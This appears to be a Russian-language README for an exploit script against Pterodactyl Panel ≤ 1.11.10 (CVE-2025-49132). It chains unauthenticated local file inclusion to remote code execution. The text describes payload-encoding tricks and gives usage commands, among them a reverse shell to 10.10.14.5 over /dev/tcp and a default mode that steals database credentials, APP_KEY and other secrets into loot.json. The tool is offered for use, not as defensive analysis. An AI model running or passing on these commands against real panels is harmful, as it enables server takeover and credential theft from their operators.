
Эксплойт для Pterodactyl Panel ≤ 1.11.10 - неавторизованный LFI до RCE.
___ __ __ ___ ___ ___ ___ ___ _ _ ___ _ ____ ___
/ __|\ \ / /| __|___ |_ ) / _ \|_ )| __|___ | || | / _ \| ||__ / |_ )
| (__ \ V / | _|___| / / | (_) |/ / |__ \___| |_ _| \_, /| ||_ \ / /
\___| \_/ |___| /___| \___//___||___/ |_| /_/ |_|___/ /___|
Эксплойт для Pterodactyl Panel ≤ 1.11.10 - неаутентифицированное LFI с возможностью RCE.
Конечная точка /locales/locale.json принимает параметры locale и namespace, которые передаются напрямую в PHP-функцию include() без санитизации или аутентификации. Параметр hash, предназначенный для предотвращения злоупотреблений, в незапатченных версиях не проверяется.
Это позволяет:
pearcmd.php (трюк register_argc_argv + config-create), цепочки PHP-фильтров или десериализацию Laravel с утёкшим APP_KEYЗатрагивает: Pterodactyl Panel ≤ 1.11.10 Исправлено в: 1.11.11
Оригинальные PoC используют Python requests для отправки нагрузки pearcmd. Проблема: requests молча URL-кодирует символы вроде <, >, {, } - это ломает PHP-теги (<?=system(...)?>), встроенные в URL.
Этот эксплойт исправляет это двумя ключевыми изменениями:
curl для этапа 1 - Запрос на создание нагрузки использует curl -g (globoff) через subprocess, полностью обходя URL-кодирование Python.hex2bin() для кодирования команды - Вместо внедрения сырой команды (которая ломается на пробелах и спецсимволах) команда кодируется в hex и декодируется на стороне сервера с помощью system(hex2bin('...')). Hex использует только символы 0-9a-f - никаких +, =, &, пробелов. Это позволяет выполнять любые команды, включая реверс-шеллы с >& и /dev/tcp/.pip install requests
Опционально (для методов RCE через цепочки фильтров / десериализацию):
pip install pycryptodome
git clone https://github.com/synacktiv/php_filter_chain_generator
# Simple command
python3 exploit.py http://panel.fr --rce-cmd "id"
# PHP filter chain (needs php_filter_chain_generator in PATH)
python3 exploit.py http://panel.fr --rce-filter "id"
# Pre-generated filter chain
python3 exploit.py http://panel.fr --rce-filter "id" --filter-chain "php://filter/..."
# Laravel deserialization via leaked APP_KEY (needs phpggc + pycryptodome)
python3 exploit.py http://panel.fr --rce-d "id"
# RCE with another pear directory
python3 exploit.py http://panel.fr --rce-cmd "cat /etc/passwd" --pear-dir /usr/share/php/PEAR
# Reverse shell
python3 exploit.py http://panel.fr --rce-cmd "/bin/bash -i >& /dev/tcp/10.10.14.5/4444 0>&1"
# Dumps all configs (DB creds, APP_KEY, mail, session, CORS…) + attempts auto RCE
python3 exploit.py http://panel.fr
--pear-dir| Дистрибутив | Путь |
|---|---|
При запуске без --rce-cmd / --rce-filter / --rce-d эксплойт выполняет полное извлечение конфигурации:
/etc/passwd, имени хоста, версии ядраПолный отчёт в формате JSON сохраняется в loot.json (или по пользовательскому пути через -o).
Этот эксплойт является улучшением на основе PoC от GRodolphe/CVE-2025-49132_poc, который, в свою очередь, вдохновлён оригинальным PoC от 0xtensho/CVE-2025-49132-poc.
| Параметр | Описание |
|---|
target | URL цели (например, http://panel.pterodactyl.fr) |
--rce-cmd CMD | Выполнить CMD через pearcmd (поддерживает любые команды, включая реверс-шеллы) |
--rce-filter CMD | Выполнить CMD через цепочку PHP-фильтров |
--filter-chain CHAIN | Использовать предварительно сгенерированную цепочку php://filter (с --rce-filter) |
--rce-d CMD | Выполнить CMD через десериализацию Laravel |
--pear-dir PATH | Путь к директории pearcmd.php (по умолчанию: /usr/share/php) |
--timeout N | Тайм-аут запроса в секундах (по умолчанию: 10) |
--verify-ssl | Включить проверку SSL-сертификата (по умолчанию отключена) |
-o FILE | Файл отчёта (по умолчанию: loot.json) |
| Debian / Ubuntu |
/usr/share/php (по умолчанию) |
| openSUSE | /usr/share/php/PEAR |
| Alpine | /usr/share/php84 или /usr/share/php83 |
| RHEL / Rocky | /usr/share/pear |